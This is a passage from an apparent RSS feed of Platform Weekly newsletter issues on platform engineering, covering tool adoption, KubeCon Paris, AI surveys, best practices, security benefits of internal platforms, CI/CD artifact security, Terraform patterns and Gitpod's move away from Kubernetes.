all want this to be true, but in reality it either rarely happens or is just not repeatable nor strategic to \u2018build it and they will come\u2019. \nBut this false dichotomy hides a hard truth that most platform leaders don\u2019t like to face: \nIf you've done your homework and have deep conviction in your gut and data that the developer tool you\u2019re building or adopting will significantly improve your developer productivity then leaving adoption to chance constitutes organizational malpractice.\nLess \u2018Engineering Manager\u2019, more \u2018Product Manager\u2019\nBeing a successful platform leader means taking high-stakes, high-conviction decisions that demand not only storytelling and charisma but a healthy dose of bravery. And a lot of inspiration can be taken from the field of product management, which is often alien to platform leaders more comfortable in the world of delivery and process optimization.\nLet\u2019s look at the definition of a PM from Lenny\u2019s newsletter: \u201cYour job as a PM is to deliver business impact by marshaling the resources of your team to identify and solve the most impactful customer problems.\u201d\nFor platform leaders that means building conviction in two key directions: \n\n\nUnderstanding and quantifying developer pain\n\nUnderstanding if we\u2019re solving a real and urgent business need. \nIf you\u2019re having adoption problems you\u2019re likely out of alignment with at least one. You\u2019re either not solving a real problem for your developers or your leadership are unaware or unconvinced of the benefit of what you\u2019re building.\nKnow thy developers and know thy leadership\nConviction doesn't emerge from thin air, it's built methodically. \nStart by deeply understanding your developers by asking them: What tools do you use? Can you show me how you\u2019d fix a bug? Can you show me your process for setting up your development environment? Surveys are great, but physically sitting with developers gives the richest insight. To champion on their behalf you must know their workflows inside/out. \nSimultaneously you must understand the strategic direction of the business and how your platform can accelerate those goals. Ask your leaders: what keeps you up at night? What metrics are you dying to move? What type of engineering culture do you want to create?\nHow can you convince your boss to use a tool?\nAligning solutions to business needs is something I\u2019ve learned a lot about working closely with platform teams in my role in product at Gitpod. Gitpod is very popular with developers and so I\u2019m commonly asked at conferences \u2018How can I convince my boss to use Gitpod at work?\u2019. \nAs I know developers like Gitpod it\u2019s usually a question of whether Gitpod is a good fit for the needs of the business. At Gitpod we work mostly with highly regulated customers like banks and pharmaceutical companies because of the security benefits and the likelihood they have existing but poor performing development environment solutions like a virtual desktop. \nMy first response is usually to slow down as I mentioned we need to understand if we\u2019re solving a real and urgent business need. For us, that\u2019s usually done by:\n\n\nRunning a survey - With developers to understand how many hours their developers spend on broken development environments. \n\nGathering quotes - From developers about that pain (bonus points if these quotes come from well respected and long-tenured developers!)\n\nUnderstanding business priorities - Does the company see it as a problem? Do they want to solve it? Are they willing to invest to solve the problem?\nWhilst this is a more \u2018commercial\u2019 way of investing in a developer tool, I\u2019d use the exact same process to assess platform investments. When you do your homework you end up with a deep sense of conviction into the decisions you\u2019re making as a platform team, you have support from your leadership and from your developers. \nSome developers will complain, someone always complains no matter what you do. But whatever you do, don\u2019t let mantras like \"our developers should choose their tools\" and \"we shouldn't mandate\" get in the way of doing your job as a platform leader. ]]>\n  \n  Wed, 13 Aug 2025 00:00:00 GMT\n\n\n  Say Bonjour at KubeCon Paris\ud83e\udd50\n  https://platformweekly.com/issues/say-bonjour-at-kubecon-paris\n  https://platformweekly.com/issues/say-bonjour-at-kubecon-paris\n  \n  \nHey there! This is Platform Weekly, your weekly sip of platform engineering champagne\ud83e\udd42\nSay Bonjour at KubeCon Paris\ud83e\udd50\nHave you ever wondered why Platform Weekly branding is so croissant based? I get asked all the time\u2026 it\u2019s simple - I was in France when I started it\ud83e\udd50\nNow, I\u2019m going back to France again on another platform engineering mission for KubeCon Paris. I promise our booth and content is going to be as creative as always, though I\u2019ll probably receive a few hundred less angry messages this time.\nWill you be there? Make sure to come say hello at booth #D35 and let\u2019s talk platform engineering, but most of all, platform orchestrators and Minimum Viable Platforms.\nP.S. registered for House of Kube yet? The hottest party in cloud native fills up quick, but we do try and give an advantage to people from the platform engineering community, so register now!\nSee you in Paris, and as always\u2026 stay crunchy\ud83e\udd50\nQuick bites\nArticles that blew me away: \n\n\n(Almost) Every infrastructure decision I endorse or regret after 4 years running infrastructure at a startup\nFrom the community:\n\n\nTell your platform story. What got you into Platform Engineering?]]>\n  \n  Wed, 03 Apr 2024 00:00:00 GMT\n\n\n  State of AI Platform Engineering\n  https://platformweekly.com/issues/state-of-ai-platform-engineering\n  https://platformweekly.com/issues/state-of-ai-platform-engineering\n  \n  \nWe are working on the definitive State of AI Platform Engineering report volume 1. It will gather data from our 200k strong community to understand exactly how AI is reshaping the platform engineering world.\nThanks to Google Cloud, we already know that:\n\u201c94% of organizations identify AI to be \u2018Critical\u2019 or \u2018Important\u2019 to the future of platform engineering\u201d. At the same time, \u201c86% believe that platform engineering is essential to realizing the full business value of AI.\u201d\nBut with our community, I know we can go deeper. What AI are platform engineering teams actually using? How afraid are people really of being AI\u2019d away?\nHelp us by answering the survey. All data will then be shared with the community once we\u2019ve gathered it all.\nLong time readers of this newsletter know, I\u2019ve been a pretty outspoken AI hater in the (distant) past. Anyone who\u2019s tried to generate a decent TF file with AI knows where I was coming from.\nBut I have spent the last few months going as deep as I can on AI platform engineering, talking to Ambassadors, friends, and those few AI experts I know, and recently I had the chance to see what my friend Kaspar von Gr\u00fcnberg is cooking up - and I realized how insanely far things have come.\nIn the blink of an eye, AI platform engineering has gone from novelty to groundbreaking reality.\nAI\u2019s ability to translate natural language into developer intent for self-service is truly next level. I am also seeing security, and observability use cases that are mind-boggling.\nAt the same time, there is an immense gap between those who don\u2019t use AI (or worse, use it badly) and those who are using it well. Things are moving so fast, it\u2019s hard for orgs to not drown as this AI wave washes over everything. \nOur community is perfectly placed to help this. Let\u2019s ride this tidal wave together.]]>\n  \n  Wed, 13 Aug 2025 00:00:00 GMT\n\n\n  Guillotines, Croissants, and Platform Engineering\n  https://platformweekly.com/issues/guillotines-croissants-and-platform-engineering\n  https://platformweekly.com/issues/guillotines-croissants-and-platform-engineering\n  \n  \nHey there! This is Platform Weekly, your weekly dive into the wide world of platform engineering. \nGuillotines, Croissants, and Platforms\nIt was awesome to talk to so many of you at KubeCon Paris this week. It\u2019s been a crazy week. 4 days, dozens of meetings, 1 pretty intense bout of sickness and far too much coffee (not to mention the mescal). \nYou\u2019ll have to wait till next week for the full thoughts and learnings\u2026 but here are some of my favorite photos from the week.\nQuick bites\nArticles that blew me away: \n\n\n Developer Productivity Engineering at Netflix\nFrom the community:\n\n\nWill you be at KubeCon Paris? Come join the channel]]>\n  \n  Wed, 03 Apr 2024 00:00:00 GMT\n\n\n  10 best practices for Platform Engineering\n  https://platformweekly.com/issues/10-best-practices-for-platform-engineering\n  https://platformweekly.com/issues/10-best-practices-for-platform-engineering\n  \n  \nHey there! Welcome to Platform Weekly, your weekly can of platform engineering beans. Every week, we try and unpack some of the mysteries of the platform engineering universe. We talk about news, events from the community, and most of all learnings and best practices. Let\u2019s get crunchy.\nP.S don\u2019t miss the highlights, we\u2019ve got a treat in there\ud83d\udc40\n10 best practices for Platform Engineering\n\u200d\nWe are just two weeks away from finishing the summer cohort of the first-ever official platform engineering fundamentals course. It has been insane. We\u2019ve covered all the core principles of platform engineering from designing your golden paths, perfecting your abstraction layers, and knowing exactly how to start and how to succeed.\nWith 8 sessions + 2 guest lectures from Manuel Pais (author of Team Topologies) and Ajay Chankramath (Fmr Head of Platform Engineering at Thoughtworks), and dozens of conversations across the course Slack with all the attendees - I feel like even I\u2019ve 5x\u2019d my knowledge of platform engineering during the run of this course!\nThe final 2 weeks will be awesome too. We\u2019ll be diving into what is usually the hardest part of platform engineering. Getting buy-in from your management, proving the value of your platform. And actually ensuring your platform gets adopted and succeeds.\nThere is no way I could summarize 8 weeks of learning and 2 awesome guest lectures into one newsletter, so go take a look at the website and join us!\nBut let me give you a taste of what we\u2019ve been exploring. As first shared in my Platform as a Product whitepaper. Here are 10 best practices for platform engineering.________\n10 proven best practices\nBuild vs. buy vs blend \nThe market reached a maturity level where it doesn\u2019t make sense anymore to build everything from scratch. You should make a business case and do your ROI calculations as early as possible. According to our DevOps Benchmarking Study 2023, the best-performing platform engineering teams blend OSS with commercial vendor offerings but do not build everything from scratch. Check the platform tooling landscape for inspiration.\nApply well established architecture patterns \nWith a three-tier architecture (presentation, application, data): start building from the backend; do not simply put a developer portal as a presentation layer on top of your existing setup and build additional logic into it. Build the house first, then the front door.\nEverything as code\nConsider code as the single source of truth which helps maintain transparency, increase reliability, and simplify maintenance. An IDP that\u2019s code-first at its core allows for disaster recovery, versioning, and structured product development principles. This does not exclude further interface offerings such as a UI (portal), CLI, or API.\nBuild golden paths over cages\nCreating golden paths that provide best practice guidance and recommended approaches helps lower cognitive load and improve security and standardization. IDPs that apply smartly layered abstractions give developers the choice to follow the golden paths and be free to leave or change lower-level configs if the security posture allows.\nTake an 80/20 attitude to platforming\nDo not try to please everyone. To adapt to different situations, meet diverse needs, and benefit from evolving technologies, staying open-minded is key. But your platform design should not try to cover every technology on earth or convince every developer in a user base. Do not assume that you will be able to please 100% of developers. Instead, consider achieving 80% a great win.\nLeave platform interface choice to the developer\nTo ensure adoption, give developers the freedom to use the interfaces they\u2019re most comfortable with and that best meet their needs. Provide the option to use an OSS workload\nspecification like Score, a portal (GUI), CLI, or API.\nSecurity from scratch\nTo get buy in, implement security best practices from the get-go. If the V1 of your platform doesn\u2019t fulfill security and compliance requirements and if there is no proof that the platform will even support ensuring security and compliance by design, security teams will veto and your platform initiative is dead before it could even properly start.\nMeasure from the beginning \nMeasure success with hard numbers to support informed decisions and generate stakeholder buy-in. Choose metrics wisely, considering both leading (e.g., automation and complexity scores) and lagging indicators (e.g., DORA metrics). Track leading indicators in non-production environments early on. Remember to include NPS scores for developer satisfaction, as well as stability metrics, SLOs, and SLAs.\nGain stakeholder buy-in\nMake sure all stakeholders have a seat (besides the developers - your customers). From security to compliance and legal teams, from architects to I&O teams, and important for the funding of your platform engineering initiative: executives. Make sure you build a platform team where important stakeholders are represented by heralds and the team goals are aligned with those of your stakeholders.\nThink about adoption from the first day\nIf the platform is not used, it is dead. This is about internal marketing/evangelism.\nIdentify the right first team to onboard and make them advocates of your platform They are essential for platform success and developer adoption.]]>\n  \n  Wed, 27 Nov 2024 00:00:00 GMT\n\n\n  Beating cognitive (over)load \ud83e\udde0\n  https://platformweekly.com/issues/beating-cognitive-over-load\n  https://platformweekly.com/issues/beating-cognitive-over-load\n  \n  \nHello there!\nWelcome to Platform Weekly, the newsletter that takes the best of the cloud native and platform engineering world and delivers it hot and crunchy to your inbox every week \ud83e\udd50\nAfter an incredible PlatformCon 2022, the team knew we had to step up our game and shine the spotlight on more resources and voices from the community. So whether you plan to become a weekly reader or a regular contributor, we're pumped to have you here!\nLet\u2019s get bakin\u2019.\npc: Daniel Bryant, Head of DevRel @ Ambassador Labs\nBeating Cognitive (Over)load\nUnderstanding the cognitive load on developers and finding ways to ease it was a major theme at PlatformCon 2022. (Which shouldn't be surprising given it's why we build internal platforms in the first place! \ud83d\ude09)\n\ud83e\udde0 Cognitive load is the amount of information processing required by a person to perform a task. It becomes detrimental to learning when it exceeds working memory capacity. With the evolution of DevOps spawning an increasing amount of new tools and frameworks to learn and apply, it's difficult for developers to keep up. Ambassador Labs Head of DevRel Daniel Bryant illustrated the increase in cognitive load over the course of his career in his talk (see the graphic above).\nThe solution is a platform with golden paths. \ud83d\udee3\ufe0f Spotify's engineering team describes golden paths as an \"opinionated and supported path to build something.\" They help engineers avoid reinventing the wheel, give them fewer decisions to make on the day-to-day, and let them move faster. At the same time, it still offers developers the freedom to do what they need (when they need) without other teams. The reduced cognitive load enables greater productivity.\nThe cognitive load doesn't just disappear, though. \ud83d\udc7b Syntasso COO Paula Kennedy explains that the cognitive load is transferred to the platform team. So we should think about the platform team experience, also.\npc: Paula Kennedy, COO @ Syntasso\nShort on time?  We got you \ud83d\ude0b\n\ud83e\udd50 Infrastructure as code is expanding. Now we have environments as code, security as code, storage as code, and so so much more. Patrick Debois dove into the trends from 50+ concepts \"as code\" and came up with some interesting conclusions, including that the creation of MLOps and DataOps is blurring the lines between code and data.  Check it out.\n\ud83e\udd50  The first tweet says it all. I broke down Naphat Sanguansin's (ex-Dropbox) Platform Engineering article about why platform teams should prioritize shipping workflows over shiny new tech.\n\ud83e\udd50 If you don't understand CPU limits and requests on Kubernetes, check out Natan Yellin's (CEO @ Robusta.dev) article on the subject. Or check out the recording from the webinar we had yesterday on Platform Engineering community.\n\u200d]]>\n  \n  Thu, 02 Feb 2023 00:00:00 GMT\n\n\n  Platform engineering: The cybersecurity holy grail we don\u2019t talk enough about \n  https://platformweekly.com/issues/platform-engineering-the-cybersecurity-holy-grail-we-dont-talk-enough-about\n  https://platformweekly.com/issues/platform-engineering-the-cybersecurity-holy-grail-we-dont-talk-enough-about\n  \n  \nHey there! This is Platform Weekly, serving you your weekly glass of platform engineering juice \ud83e\udd50 Let\u2019s get pourin'.\nPlatform engineering: The cybersecurity holy grail we don\u2019t talk enough about \nThis month Okta, the identity and access management company, announced they have once again been hit with another cybersecurity breach. If that wasn\u2019t bad enough, their stock dropped by almost 25%. That\u2019s $2.5 billion in market cap wiped out in a few days. I don\u2019t want to get into the weeds of the attack (because I don\u2019t have all the details and I\u2019m not an expert), nor what Okta could have done differently.\nBut I do want to take this opportunity to talk about something that doesn\u2019t get enough attention: the fact that platform engineering is AMAZING when it comes to security.\nMost times when we speak about platform engineering and Internal Developer Platforms (IDPs) we focus on metrics like time to market and velocity, or cognitive load and DevEx. That\u2019s usually what most people want to hear about. But there\u2019s an entire other side of that coin that needs spotlight attention.\nPlatform engineering, especially when done right (i.e. using a Platform Orchestrator to ship an IDP that is actually enterprise-grade) is a massive boost to your security profile as a company. Golden paths don\u2019t just make devs\u2019 lives easier, they let security teams enforce clear best practices and baseline templates. The Platform Orchestrator lets you roll out an enterprise-level RBAC model that defines clear roles and permissions, across all workflows and environments. It also allows you to audit every new deployment and revert back easily if needed.\nWhen I talk about IDPs I tend to focus on how they drive the metrics that let you ship faster and better. But remember that an IDP is unique to your org, based on your needs.\nHaving looked at hundreds of setups, I can tell you that the IDP of a bank looks different to that of a shoe company. With platform engineering, you can make sure that security is of the same standard right across the board.\nQuick bites\nOut on community, the results of the Platform Engineering survey are out! Did you check them yet?https://platformengineering.org/blog/results-are-in-the-2023-platform-engineering-survey\nArticles that blew our minds:\n\n\nThe 6 Pillars of Platform Engineering: Part 1 \u2014 Security - The New Stack, by Michael Fonseca\n\nhttps://www.linkedin.com/pulse/unifying-security-through-platform-engineering-martin-van-son/, by Martin van Son\nOn security, also this great talk at PlatformCon 2022:\nIncorporating security into Platform Engineering: The Dos and Dont\u2019s - PlatformCON 2022]]>\n  \n  Wed, 29 May 2024 00:00:00 GMT\n\n\n  The pressure is on for platform teams to operationalize AI\n  https://platformweekly.com/issues/the-pressure-is-on-for-platform-teams-to-operationalize-ai\n  https://platformweekly.com/issues/the-pressure-is-on-for-platform-teams-to-operationalize-ai\n  \n  \nWe all know AI is the big dog in tech right now. It was mentioned in 35% of all PlatformCon content after all. Organizations are racing to integrate AI features, and platform teams are feeling the heat in a huge way. Everyone from the C-suite to product owners is demanding AI-enhanced tools and workflows.\nMy friend Ben Potter from Coder (Def one of the best people to learn from in the community) breaks down this exact phenomenon, and what needs to be done in his new article, \u201dThe rising pressure on platform teams to operationalize AI\u201d. \nHere are some of the challenges he highlights. Sound familiar?\n\n\nFrom AI POCs to production: What starts as an LLM hackathon ends with leadership asking, \u201cWhen\u2019s this shipping?\u201d But most (all?) teams lack the actual foundations for their platforms.\n\nSecurity & compliance pressure: Training and serving AI models create new risks. Sensitive data, proprietary models, and shadow deployments, platform teams suddenly become the gatekeepers of AI risk management.\n\nDeveloper productivity vs. AI sprawl: Ironically, trying to help developers with AI often slows them down. Poorly integrated tools and unclear ownership lead to friction rather than flow.\nNot everyone is struggling, though. The platform teams that are successfully managing this pressure and operationalizing AI all share similar characteristics.\nGo check out what they are.]]>\n  \n  Thu, 21 Aug 2025 00:00:00 GMT\n\n\n  Why your platform is failing\n  https://platformweekly.com/issues/why-your-platform-is-failing\n  https://platformweekly.com/issues/why-your-platform-is-failing\n  \n  \nHey there! Welcome to Platform Weekly, your weekly cast into the fire of Mt. platform engineering. Every week on Friday, we talk about the wide world of the platform engineering universe and share best practices, lessons, and news.\nThis week's newsletter is on one of the most important topics in platform engineering right now.\nWhy your platform is failing\nThere is a reason why of the dozens of platform engineers, from junior to director, who have joined the first official platform engineering course so many are asking one question, \u201cwhy isn\u2019t my platform working?\u201d\nLet\u2019s dive in.\nYou don\u2019t need me to tell you again that platform engineering has been taking the software engineering industry by storm. Promising lots of great things like better DevEx and real developer self-service. No more waiting times and no more TicketOps. Standardization by design and improved DORA metrics. Faster time to market, while also improving governance and security. The list goes on, and on and on.\nThat\u2019s why the list of engineering organizations turning to platform engineering is constantly growing. They want to \u201cmove faster without breaking things\u201d and \u201cenable true DevOps\u201d, true \u201cyou build it, you run it\u201d at scale. And that\u2019s why PlatformCon went from 10k to 100k views in 2 years, and that\u2019s why this newsletter has over 100k subscribers.\nSo why is it that I end up on calls with desperate platform teams every week telling me their platform initiatives are failing?\nIt\u2019s not for lack of trying. But so many of these teams are simply missing foundational concepts, best practices, and frameworks to help them navigate the landscape and structure their initiatives. Let\u2019s break it down.\nThere are 5 main reasons platform initiatives fail:\n\n\nLack of a clear platform design and how all the essential components fit together. Reference architectures are your friend here. 20% of speakers at PlatformCon24 speakers used these templates to showcase their IDPs.\n\nStarting to build the house from the door instead of from the foundation. They\u2019re often focusing on the front end because they need a quick win for their manager. When long term it\u2019s the backend that delivers the value.\n\nEverything, everywhere, all at once. Some teams use the ref archs to plan out their IDP accurately. Then they try to build it and roll it out all at once. That\u2019s a guaranteed recipe to fail at getting stakeholder buy-in. You\u2019re trying to do too much, too fast and you\u2019ll lose momentum and your platform before it even gets started. Think Minimum Viable Platform (MVP) first.\n\nThinking tooling is the issue. It almost never is. Platform engineering is a cultural transformation and that\u2019s how you should approach it. You need to align your initiative to the vested interests of the different stakeholder groups and bring them on the journey with you. Not try to figure out which tools you\u2019re going to implement.\n\nLack of product mindset. Just rebranding your existing DevOps team to a platform team without focusing on a mindset shift risks that they will approach building an IDP like they do most other things: as a one-off project. A successful IDP is built and iterated on continuously, as a product. Developers are your end customers, listen to them.\nThe orgs that are winning at platform engineering are winning big. And those who are losing are making often avoidable mistakes. We\u2019ve got an amazing community with loads of practitioners, we have courses diving into all this stuff, and all the resources you need to be rolling out a platform that your developers will love (and actually use).\nYou\u2019ve just gotta do it.]]>\n  \n  Mon, 07 Oct 2024 00:00:00 GMT\n\n\n  5 takeaways from PlatformCon\n  https://platformweekly.com/issues/5-takeaways-from-platformcon\n  https://platformweekly.com/issues/5-takeaways-from-platformcon\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly slice of platform engineering apple pie.\nBut first\u2026\n\n\nRegister early for Cloud Development Environments for Platform Engineers!\n\nYour last chance to use the loveplatformcon25 for an additional 30% off the bundle - an extra $945 discount\n\nWant your leadership to better understand platform engineering and how to succeed at it? See our NEW platform engineering leadership course\n5 takeaways from PlatformCon\nNow that the dust has settled on PlatformCon 2025, and I\u2019ve had the chance to watch all the live day talks and a large chunk of the workshops, let\u2019s zoom in on my key takeaways from the world\u2019s largest platform engineering event.\n\n\nGreat platform engineering \u201cachieves outcomes\u201d: In the opening panel at Live Day London, Cornelia Davis, Rickey Zachary, and Nicki Watt broke down their specifics of what great platform engineering is. The core idea, though? Your platform is great if it achieves outcomes.\n\nBasically, no one's platform is \u201cgreat\u201d: Even by that simple definition, when moderator Sam asked a room of 700 people to raise their hands if their platform \u201cachieved outcomes,\u201d only NINE people raised their hands. Oof. We still have a lot of work to do.\n\nShift down, not left: I\u2019ve been critiquing shift left for years now, but the script is finally flipping. Instead of just pushing responsibilities earlier, embed them deeper. Build the non-negotiable attributes like security, reliability, and scalability into the platform itself. That\u2019s how you free up devs and actually scale sustainably.\n\nAI is everywhere, but we\u2019re missing the foundations: Almost 30% of all PlatformCon content across Live days, workshops, and talks featured AI. BUT all our top PE leaders shared the same thoughts - If you don\u2019t have the foundations of PE down first (Platform as a product etc), then trying to throw a bunch of AI features into your platform isn\u2019t going to help you.\n\nLearning is everything: Unsurprisingly, considering the previous takeaways. Our in-person trainings were full to overflowing, and our workshop program had over 9,500 people in it. Learning is the most important topic in platform engineering right now.\nThere are over 255 talks, 30 virtual workshops, and 20+ live day talks of content either on our Youtube channel or being shared there soon over the next few weeks.\nPlatformCon has always been the crystal ball for the industry, and this year that might be more true than ever before. With the industry maturing beyond the definition stage, and AI reshaping the world, what we learned last week is crucial for setting the course of the next year.\nDamn, I\u2019m excited.]]>\n  \n  Thu, 14 Aug 2025 00:00:00 GMT\n\n\n  Two patterns to make Terraform at scale easier \ud83d\udcc8\n  https://platformweekly.com/issues/two-patterns-to-make-terraform-at-scale-easier\n  https://platformweekly.com/issues/two-patterns-to-make-terraform-at-scale-easier\n  \n  \nThere\u2019s a lot to learn from orgs who\u2019ve figured out how to roll out Terraform for their platform setup (at scale) the hard way.\nLet\u2019s get bakin\u2019 \ud83e\udd50\nTwo patterns to make Terraform at scale easier \ud83d\udcc8\nIf your organization is invested in Infrastructure as Code (IaC), you\u2019ve probably heard of Terraform. It\u2019s the default choice for a reason, but that doesn\u2019t make it any less difficult to configure properly, especially at scale. But there are two patterns that can make it easier: landing zones and service catalogs.\n1. Landing zones \ud83d\udeec\nLanding zones are the foundation of your platform. They handle resource organization, billing, policy management, networking, and identity and access management (IAM). The idea is for landing zones to provide a basic framework for end users to consume. Environments are automatically configured to meet your organization\u2019s security and compliance requirements, so users can self-serve and deploy much easier.\n2. Service catalogs \ud83d\udcda\nCompany-wide or team-specific service catalogs can enable your engineering teams to deploy services complete with the necessary backing infrastructure. They simplify deployments that involve many moving parts (like a service from K8s that requires a database deployed on AWS, Google Cloud, or a multi-cloud environment). You can also create and approve reusable patterns to meet your scalability, compliance, and availability requirements in advance. This is a much easier way to set standards.\nMost importantly, service catalogs promote easy-to-use APIs and abstract complexity away from developers. Users can build catalogs on top of open-source base modules or bundle multiple modules and resources together without needing to master all of the intricacies of the underlying services you\u2019ve packaged together.\n\ud83d\udca1 Ultimately, Terraform is just a technology. If you want to get the most out of it, you have to think about it in the context of your workflows. The tools in your ecosystem should be the means, not the end.\nWant to dive deeper into landing zones? On 12/1, Mineiros CEO S\u00f6ren Martius will share how to accelerate your cloud adoption with landing zones.\nShort on time? \u23f3 We got you \ud83e\udd50\ud83d\ude0b\nBuckle your seatbelt \ud83d\udcba because platform engineering is really taking off \ud83d\ude80\n\ud83e\udd50 Gartner is hyped for platform engineering! They just released an article explaining what Platform Engineering is. Happy reading!\n\ud83e\udd50 O\u2019Reilly released October's Radar Trends and highlighted platform engineering as an alternative to both DevOps and SRE.\n\ud83e\udd50 Platform Engineering: is it the evolution of DevOps or just a fancy rebrand? George Hantzaras shares his thoughts on OpenObservability Talks \ud83c\udf99\ufe0f\n\ud83e\udd50 Is platform engineering the path to DevOps success? This article by Michael Mueller says yes.\n\ud83e\udd50 We all know that feeling...\nEnjoy reading our newsletter? Share it with your friends \ud83e\udd17\nThis newsletter is a community effort, so if you have anything awesome to share from the cloud-native world, send it our way. You can share your ideas here.\nStay crunchy \ud83e\udd50\nLuca]]>\n  \n  Thu, 02 Feb 2023 00:00:00 GMT\n\n\n  This is how to win at platform engineering in 2024\n  https://platformweekly.com/issues/this-is-how-to-win-at-platform-engineering-in-2024\n  https://platformweekly.com/issues/this-is-how-to-win-at-platform-engineering-in-2024\n  \n  \nHey there! This is Platform Weekly, your soothing guide into 2024. Let\u2019s fly.\nThis is how to win at platform engineering in 2024\nWelcome to 2024! Let\u2019s rock n roll even harder than 2023\ud83e\udd18\nLast year was the year that platform engineering truly went mainstream. It cemented its place as a defining part of the future of software engineering and cloud native. PlatformCon23 had 22k attendees, KubeCon Chicago was overrun by platform engineering slogans and booths, and companies everywhere are waking up to the reality that platform engineering is not just a nice to have, it\u2019s how you win as an engineering organization.\nSo we all know now that if you don\u2019t have your platform in 2024, you\u2019re going to fall behind. And you\u2019ll struggle to catch up.\nSo what do you need to do? It\u2019s simple. You need to get started. \nI have talked about minimum viable platforms before, and there is a reason for that.\nIn Q4 last year, using the strategy of a pioneering team and a minimum viable platform I helped launch more platforms than the entire rest of the year put together. Every single one of those MVPs is working and proving value to all key stakeholders.\nThat means within barely a few months, those MVPs will be able to expand and deliver value across entire organizations as full blown Internal Developer Platforms.\nBy the end of this year, those platforms will have been enterprise ready for months and delivering that exact incredible platform engineering ROI that we have all been hypothesizing about the last 2 years.\nIf you started right now, you\u2019d have a platform up and running in 30 days. \nIn 30 more, it will prove itself and be ready to expand. Then? Well, there is no limit to what can happen next. You just have to get started.\nQuick bites\nArticles that blew me away: \n\n\nDeveloper Productivity in 2024\nFrom the community:\n\n\nWhere does your platform engineering team sit?]]>\n  \n  Tue, 02 Apr 2024 00:00:00 GMT\n\n\n  Is this Military-Grade Platform Engineering?\n  https://platformweekly.com/issues/is-this-military-grade-platform-engineering\n  https://platformweekly.com/issues/is-this-military-grade-platform-engineering\n  \n  \nHey there! This is Platform Weekly, your weekly holiday into the sunny & sandy world of platform engineering. This week we\u2019re stepping out of the cloud, and down into the hard metallic core of bare metal\ud83e\udd18\nIs this Military-Grade Platform Engineering?\nPlatform engineering is the future of cloud native right? You don\u2019t need me to tell you that. It\u2019s the new frontier of cloud based technological advancement. But what happens when your client can\u2019t be on the cloud? Or is on the cloud, AND on prem in a beautiful air-gapped chunk of bare metal?\nWell, Andr\u00e9 from Bechtle (One of Germany\u2019s biggest Tech companies) in his awesome talk at KubeCon Paris talked about the possibilities for huge public sector businesses that can operate like that. \n\u201cWe\u2019ve been developing microservices since 2014. You can imagine the frankensteins and nightmares that we\u2019ve seen\u201d\nWhen dealing with highly regulated public sector clients, you\u2019re often faced with:\n\n\nDeploying to multiple environments (running on public cloud, private cloud, or on prem air-gapped)\n\nUnless you live in Korea or Estonia, you\u2019re likely facing a massive skill gap\n\nYou\u2019re dealing with the highest security requirements possible\nSo what might a platform that handles all that look like?\nTake a look at this glorious platform reference architecture. They\u2019ve got three Resource Planes, running on the Azure Stack, one on their own datacenter and then one on the customers data center (a data center for air-gapped environments at that!)\nThis could be an absolute mess, and a nightmare for developers, but so far\u2026 it isn\u2019t. Thanks to Platform Engineering.\nThe IDP above uses the workload specification Score to let developers uniformly describe resource needs across any cloud, eliminating the need for Kubernetes or target environment-specific knowledge. This means that the developer experience doesn\u2019t change, no matter how complicated the underlying tech setup is.\nThis lets them abstract away complexity and ensure a consistent, and massively improved developer experience.\nSounds pretty good, eh? But that is just one piece of this platform puzzle.\nI know you want more details. But you want to hear it directly from Andr\u00e9. Trust me.\nQuick bites\nArticles of the week:\n\n\nWant to be a technology company? Try Platform Engineering\n\u200dFrom the community:\n\n\nHave a platform engineering question for Kelsey Hightower? Ask here!]]>\n  \n  Wed, 17 Jul 2024 00:00:00 GMT\n\n\n  How to secure, control, and strengthen CI/CD artifacts\n  https://platformweekly.com/issues/how-to-secure-control-and-strengthen-ci-cd-artifacts\n  https://platformweekly.com/issues/how-to-secure-control-and-strengthen-ci-cd-artifacts\n  \n  \nIf you\u2019ve ever watched a pipeline crawl while it re-downloads the same dependencies (again), or had a build fail because a public registry rate-limited your runners, you know that modern CI/CD is fast\u2026until it isn\u2019t.\nThis week we had a banger one-two punch community webinar & article from Thijs Feryn, and Adrian Herrera from Varnish on this exact problem, and how they\u2019re approaching it.\nDelivery paths today are a massive mix of language packages, OS dependencies, container images, and charts pulled from multiple public and private registries, across clouds, regions, and toolchains, with increasingly shaky trustworthiness.\nThere are 3 compounding problems with this sprawl.\n\n\nPerformance drag: Dependency pulls quietly consume a massive share of pipeline time, and costs explode. Plus longer feedback loops, more compute waste, and higher egress bills.\n\nReliability nightmare: Public registries have outages. Cloud platforms have outages. Rate limits happen at exactly the wrong time. When artifact access is a hard dependency for build & deploy, that external instability (which seems to be getting worse every year) is your problem. Massively.\n\nSECURITY: Repo-centric security is getting better but it mostly looks at artifacts while they\u2019re sitting in a repo\u2026scans, metadata, remediation notes etc. Supply chain attacks don\u2019t give a f* about that boundary. The real damage happens when something gets pulled and run in CI/CD. Which with super messy sprawling toolchains is increasingly likely.\nSo what do Adrian and Thijs think is a solution? In the community webinar and article, they break down shifting control from \u201cwhere artifacts are stored\u201d to \u201cwhere artifacts are accessed.\u201d Because the real risk shows up when artifacts are pulled into CI/CD.\nTake a look. And let me know what you think. Because things are changing fast.]]>\n  \n  Wed, 25 Feb 2026 00:00:00 GMT\n\n\n  Leaving Kubernetes\n  https://platformweekly.com/issues/leaving-kubernetes\n  https://platformweekly.com/issues/leaving-kubernetes\n  \n  \nHey there! Welcome to Platform Weekly. Your weekly bowl of platform engineering popcorn. This week we\u2019ve got another guest newsletter from Lou Bichard from Gitpod breaking down their recent viral article. Will I get as many angry replies after this one?Let\u2019s dive in and see.\nWe left Kubernetes\n\u200d\nYep \u2014 you read that right. To us, Kubernetes seemed like the obvious choice when we set out to build remotely accessible standardized and automated development environments. \nAnd after having spent six years invested in making a cloud development environment platform that serves thousands of development environments per day, we found that Kubernetes is not the right choice for building development environments.\nLast week, we published a detailed post covering our six-year journey.\nThis is a good tl;dr; from a comment that accurately summarizes the whole post well:\n\"The problem with 'development environments', like other interactive workloads, is that there is a human at the other end that desires a good interactive experience with every keypress. It's a radically different problem space than what k8s was designed for.\"\nHere are some of the main highlights from the article:\nWhy development environments are different\n\n\nThey're highly stateful with source code, build caches, and test data because developers don\u2019t take kindly to losing source code or work progress.\n\nThey require unpredictable resource usage and bursting - development environments idle one moment and then need several CPU cores within milliseconds. \n\nThey demand root access and extensive permissions to help with package installation and general system configuration.\nSome of the technical challenges we faced:\n\n\nUnpredictable resource usage - Development environments won't need much CPU bandwidth most of the time, but will require several cores within a few 100ms. We solved this using custom CFS and process priority based control loops built on cgroupv1.\n\nStartup performance is critical for experience - We addressed some startup time issues using SSD RAID 0 which gave us high IOPS and bandwidth. Our experiments with block 